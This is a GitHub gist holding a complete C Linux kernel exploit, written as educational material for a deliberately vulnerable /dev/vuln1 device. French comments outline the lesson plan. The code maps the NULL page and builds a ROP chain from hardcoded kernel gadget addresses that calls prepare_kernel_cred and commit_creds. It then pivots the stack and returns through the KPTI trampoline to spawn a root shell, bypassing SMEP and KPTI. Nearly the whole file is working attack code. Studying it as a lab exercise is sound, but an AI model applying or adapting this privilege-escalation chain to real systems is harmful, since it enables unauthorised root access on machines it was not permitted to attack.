Last active
August 19, 2021 12:24
-
-
Save n4sm/e032f84bf3ffd7f790cbbc1eccbfb898 to your computer and use it in GitHub Desktop.
Kernel Exploitation - ROP bypass KPTI / smep
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <sys/mman.h> | |
#include <assert.h> | |
#include <sys/ioctl.h> | |
#define LEN 1337 | |
#define WRITE 1337 | |
#define VULN_NAME "/dev/vuln1" | |
/* | |
* Warning, this exploit is not portable on another machine | |
*/ | |
typedef struct write_buf { | |
unsigned long length; | |
unsigned char *rbuf; | |
} wr_struct; | |
/* | |
* [Intro']: | |
* - Userland vs Kernel land | |
* - Structure d'un process | |
* - Les devices vulnérables | |
* [pWn]: | |
* - Execution de code en kernel land | |
* - Les protections (smap, smep, kaslr, KPTI, mmap_min_addr, kptr_restrict, dmesg_restrict ...) | |
* - Buffer overflow, NULL pointer dereference | |
* - Schema d'attaque: | |
* - commit_creds(rdi=rax=prepare_kernel_cred(rdi=0)) | |
* - swapgs & iretq + frame (ip + cs + rflags + sp + ss) | |
* - ROP => ret2kpti_trampoline & ret2user | |
* [Outro]: | |
* - Ouverture | |
*/ | |
/* | |
src: https://gist.github.com/n4sm/2b77e6d4e784fb8707da18d6c9961643 | |
related video (fr): https://www.youtube.com/watch?v=Rx3sRn5garA | |
*/ | |
unsigned long cs; | |
unsigned long rsp; | |
unsigned long ss; | |
unsigned long rflags; | |
static void save_state() { | |
asm( | |
"movq %%cs, %0\n" | |
"movq %%ss, %1\n" | |
"pushfq\n" | |
"popq %2\n" | |
"movq %%rsp, %3\n" | |
: "=r" (cs), "=r" (ss), "=r" (rflags), "=r" (rsp) : : "memory" ); | |
} | |
void get_r00t() { | |
if (!getuid()) { | |
printf("Enjoy ur shell\n"); | |
system("/bin/sh"); | |
} | |
__asm__ volatile("movq $60, %rax\t\n" | |
"xorq %rdi, %rdi\t\n" | |
"syscall\t\n"); | |
} | |
int main() { | |
int fd; | |
wr_struct pld = {0}; | |
pld.length = 0x3; | |
pld.rbuf = "aaa"; | |
wr_struct *null_p = mmap(0x0, 0x1000, PROT_WRITE | PROT_READ, | |
MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, -1, 0x0); | |
null_p->length = 0x28+8*8; // 0x28 padding pld number of unsigned long * sizeof(unsigned long *) (8 bytes) | |
null_p->rbuf = malloc(0x28+8*8); | |
unsigned long *pld_p = null_p->rbuf+0x28; | |
*pld_p ++= 0xffffffff81002ffd; // : pop rdi ; ret; | |
*pld_p ++= (unsigned long)0x0; | |
*pld_p ++= 0xffffffff810a3350; // T prepare_kernel_cred | |
*pld_p ++= 0xffffffff8101eb7d; // : mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret | |
*pld_p ++= (unsigned long)0x1337; | |
*pld_p ++= 0xffffffff810a30a0; // T commit_creds | |
save_state(); | |
unsigned long *fstack_ret2user = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, | |
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0x0); | |
*pld_p ++= 0xffffffff81075c12; // : mov rsp, qword ptr [rsp] ; pop rbp ; ret | |
*pld_p ++= fstack_ret2user; // Stack pivoting | |
*fstack_ret2user ++= (unsigned long)0x1337; // pop rbp | |
*fstack_ret2user ++= 0xFFFFFFFF81800A6A; /* kpti trampoline */ | |
*fstack_ret2user ++= (unsigned long)0x1337; /* value 4 the pop rax */ | |
*fstack_ret2user ++= (unsigned long)0x1337; /* value 4 the pop rdi */ | |
/* iretq frame */ | |
*fstack_ret2user ++= (unsigned long)get_r00t; | |
*fstack_ret2user ++= (unsigned long)cs; | |
*fstack_ret2user ++= (unsigned long)rflags; | |
*fstack_ret2user ++= (unsigned long)rsp; | |
*fstack_ret2user ++= (unsigned long)ss; | |
/* Open and send the pld */ | |
if ((fd = open(VULN_NAME, O_RDWR)) < 0x0) { | |
perror("[ERROR OPEN]\n"); | |
return -1; | |
} else if (-1 == write(fd, &pld, sizeof(wr_struct))) { | |
perror("[ERROR WRITE]\n"); | |
return -1; | |
} | |
free(null_p->rbuf); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment